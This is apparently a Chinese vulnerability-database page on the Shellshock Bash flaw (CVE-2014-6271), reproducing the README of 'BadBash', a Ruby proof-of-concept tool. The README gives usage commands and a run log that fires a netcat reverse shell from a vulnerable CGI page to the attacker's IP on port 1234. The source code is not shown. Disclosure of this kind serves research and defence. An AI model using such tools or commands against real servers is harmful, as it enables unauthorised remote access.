关联漏洞
标题:
GNU Bash 远程代码执行漏洞
(CVE-2014-6271)
描述:GNU Bash是美国软件开发者布莱恩-福克斯(Brian J. Fox)为GNU计划而编写的一个Shell(命令语言解释器),它运行于类Unix操作系统中(Linux系统的默认Shell),并能够从标准输入设备或文件中读取、执行命令,同时也结合了一部分ksh和csh的特点。 GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceComman
描述
CVE-2014-6271 (ShellShock) RCE PoC tool
介绍
BadBash
=======
CVE-2014-6271 (ShellShock) RCE PoC tool
=======
BadBash is a CVE-2014-6271 RCE exploit tool. The basic version only checks for the HTTP CGI site and only provides netcat reverse shell on port 1234.
Developer : Andy Yang
Version : 0.1.0
License : GPLv3
Orginal github project : https://github.com/RainMak3r/Rainstorm
================================================================================================
RainMak3r@Could:~/Desktop# ruby BadBash.rb -h
BadBash - CVE-2014-6271 RCE tool by Andy Yang
Basic version only checks for HTTP site
Basic version only provides netcat reverse shell on port 1234
EXAMPLE USAGE:
./BBash.rb -t 'www.target.com/cgi-folder/cgi.sh' -d '127.0.0.1'
./BBash.rb -t '10.0.0.1/cgi-folder/cgi.sh' -d '127.0.0.1'
-t, --Target CGI path Full path of CGI page
-d, --Destination IP Your IP address that listen to an inbound connection
-h, --help Display help
================================================================================================
Example of usage.
================================================================================================
RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1'
[Info] Checking if the target is vulnerable........
[Info] This may take up to 10 seconds........
[Info] Target is vulnerable!!!
[Info] Please use NC to listen on port 1234 for reverse shell..........
[Info] Exploiting for a reverse shell to connect 172.16.189.1:1234 via netcat ..........
文件快照
[4.0K] /data/pocs/fe82d479180629da939d9303fa49d5212972c526
├── [3.8K] BadBash.rb
├── [ 34K] LICENSE
└── [1.6K] README.md
0 directories, 3 files
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